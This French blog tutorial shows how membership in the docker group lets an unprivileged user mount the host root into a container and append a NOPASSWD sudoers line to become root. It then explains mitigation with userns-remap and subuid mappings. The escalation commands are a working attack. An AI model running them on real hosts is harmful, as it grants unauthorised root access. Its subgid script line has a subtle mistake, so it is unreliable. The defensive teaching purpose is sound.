# Sécurisation du montage de volume de docker

Bonjour aujourd'hui on va faire de la sécurité informatique.

Docker est un outils fantastique mais peut devenir la pire des failles de sécurité.

On va découper l'article en 2 parties:

  • D'abord l'exploit qui permet l'escalade de privilèges
  • Comment combler cette faille

# Mise en place de l'exploit

Je vais faire ma démo sur une Ubuntu 20.04

Via l'utilisateur priviligé (root ou sudo).

On installe docker

apt install docker.io

On créé un utilisateur non-priviligié, sans homedir et sans login.

adduser --no-create-home --disabled-password --disabled-login alice

On ajoute l'utilisateur alice au group docker

usermod -aG docker alice

On créé un dossier de travail

mkdir -p /opt/work

On donne l'ownership de ce dossier à alice

chown alice:alice /opt/work

On va maintenant devenir alice

su alice

On vérifie qu'on est bien alice

$ id
uid=1000(alice) gid=119(docker) groups=119(docker),1000(alice)

Vérifions qu'on a 0 droit priviligié.

$ echo test >> /flag
bash: /flag: Permission denied

Bon visiblement on est pas root.

On vérifie que l'on a le droit d'utiliser docker

$ docker ps
CONTAINER ID        IMAGE               COMMAND             CREATED             STATUS              PORTS               NAMES

Direction le dossier de travail

cd /opt/work

Maintenant on créé ce Dockerfile, il va nous permettre d'utiliser notre volume. J'utilise l'image ubuntu pour avoir un shell, mais on peut le faire avec toute sorte d'image de la plus simple à la plus compliquée.

FROM ubuntu

ENV WORKDIR /opt/workdir

RUN mkdir -p $WORKDIR

VOLUME [ $WORKDIR ]

WORKDIR $WORKDIR

Construisons notre joli cheval de Troie.

docker build -t trojan .

Maintenant on va faire un truc rigolo ( pas pour la machine cible 😋 ).

On va monter / dans notre container!

docker run -it -v /:/opt/workdir trojan bash

Et là on commence à jouer 😋

Avec le shell du container

# echo "I was here" > /opt/workdir/flag

Pas de denied! 😨

C'est pas le pire, connectez vous avec une autre session utilisateur priviligié sur le serveur hôte de docker.

# cat /flag
I was here

Bon on vient d'écrire dans / depuis un container en lançant celui-ci avec un utilisateur non-privilégié.

Mais il y a bien pire !! Même si on est déjà game over !!!

echo "alice ALL=(ALL) NOPASSWD: ALL" >> /opt/workdir/etc/sudoers

Oui visudo c'est là pour la décoration!

On sort du container.

Puis

sudo su
# id
uid=0(root) gid=0(root) groups=0(root)

Et voilà c'est la fin des temps. Vous laissez un utilisateur runner un container et il devient root !

# On sécurise

Heureusement il y a une parade à tout ça. Et ceci s'appelle le userns-remap.

L'idée de base est simple, si le container n'a pas explicitement le droit de monter un dossier de l'host on remap l'utilisateur du dossier vers un autre utilisateur.

Cela à pour effet de passer en readonly le montage.

En utilisant votre session priviligiée.

Tout d'abord on défini un fichier /etc/docker/daemon.json. S'il n'existe pas déjà, vous devez le créer.

{
    "userns-remap": "default"
}

Ensuite vous devez redémarrer le service docker

service docker restart

Deux fichier ont été créé/mise à jour.

# cat /etc/subuid
alice:100000:65536
dockremap:165536:65536
# cat /etc/subgid
alice:100000:65536
dockremap:165536:65536

Ce que signifie c'est fichier c'est que les uid des utilisateurs du système hôte sont remappé dans les containers vers des uid/gid différents, dans le cas présent le 65536.

Or cette utilisateur n'aura aucun moyen de se faire passer pour le root 0 de la machine hôte et donc aucun moyen de modifier le /.

Un autre phénomène est apparu aussi. Un dossier de namespace a été créé.

# ls -la /var/lib/docker
...
drwx------ 14 165536 165536 4096 Mar  8 10:46 165536.165536
...

Il appartient à l'utilisateur 165536. Si vous avez fait un peu de python dans votre vie, c'est l'équivalent d'un virtualenv.

Il contient une copie de la structure de /var/lib/docker.

A ceci près que le dossier n'appartient pas à root!

Retournons avec alice. (pensez bien à la retirer des sudoers).

Si on refait un coup de

docker images

C'est vide.

On est reparti

docker build -t trojan .

On monte / de nouveau dans le container.

docker run -it -v /:/opt/workdir trojan bash

Avec le shell du container

Ah c'est étrange, il y a un utilisateur nobody à la place de root.

Continuons mais ça sent la poudre

# echo "I was here again" > /opt/workdir/flag
bash: /opt/workdir/flag: Permission denied

Oh beaucoup mieux !! 🤩

On essaie même pas sudoers, ça passera pas. 😄

On vient de combler notre faille de sécu ^^

# Bonus: Monter un volume légitime en écriture

C'est bien tout ça mais si je veux monter un dossier en écriture je fais comment ?

Pour le moment on ne peut pas.

Si vous créé un montage légitime avec l'utilisateur alice

mkdir -p /opt/work/data
touch /opt/work/data/test

Que vous montez ça

$ docker run -it -v $(pwd)/data:/opt/workdir trojan ls -la
total 8
drwxrwxr-x 2 nobody nogroup 4096 Mar  8 11:13 .
drwxr-xr-x 1 root   root    4096 Mar  8 11:00 ..
-rw-rw-r-- 1 nobody nogroup    0 Mar  8 11:12 test

On a le même soucis, on est en nobody comme owner, et donc les accès en écriture seront interdit.

Si vous vous rappelez des

# cat /etc/subuid
alice:100000:65536
dockremap:165536:65536
# cat /etc/subgid
alice:100000:65536
dockremap:165536:65536

Je vous avais parlé de mapping

Ben on va se créer un mapping pour notre utilisateur alice qui lui permettra de monter en écriture le volume mais sans lui permettre de monter / en écriture aussi.

Dans un shell privilégié.

username="alice"
uid=$(id -u "$username")
gid=$(id -g "$username")
lastuid=$(( uid + 65536 ))
lastgid=$(( gid + 65536 ))
usermod --add-subuids "$uid"-"$lastuid" "$username"
usermod --add-subgids "$gid"-"$lastuid" "$username"

Ces deux commandes ont pour rôle de modifier ainsi les fichiers

# cat /etc/subuid
alice:1000:65537
dockremap:165536:65536
# cat /etc/subgid
alice:1000:65537
dockremap:165536:65536

On modifie ensuite le /etc/docker/daemon.json en conséquence.

{
    "userns-remap": "alice:alice"
}

On redémarre le service docker

service docker restart

Un nouveau namespace /var/lib/docker/1000.1000 se créé.

Dans le shell de alice

docker images

C'est vide de nouveau.

On est recréé l'image

docker build -t trojan .

On monte / de nouveau dans le container.

docker run -it -v /:/opt/workdir trojan bash

On tente l'écriture

# echo "I was here again" > /opt/workdir/flag
bash: /opt/workdir/flag: Permission denied

Parfait, on a pas retroué la sécu du container. 😁

On quitte le container puis

docker run -it -v $(pwd)/data:/opt/workdir trojan bash

Dans le shell du container

# ls -la
total 8
drwxrwxr-x 2 root   root    4096 Mar  8 11:13 .
drwxr-xr-x 1 root   root    4096 Mar  8 11:00 ..
-rw-rw-r-- 1 root   root    0    Mar  8 11:12 test

ça sent bon 😋

echo "I was here" > test

On quitte le container

# cat data/test
I was here

Yes 🥳

# Conclusion

On vient d'apprendre à combler une faille majeure de docker et du montage de volume.

Je pense bien qu'il doit encore rester des montagnes d'exploit, mais ça sera tout pour aujourd'hui 😄

Vous remercie de m'avoir lu et je vous dis à la prochaine ^^

Si je raconte des conneries, n'ésitez pas à me le dire en commentaires, je débute dans la sécu 😅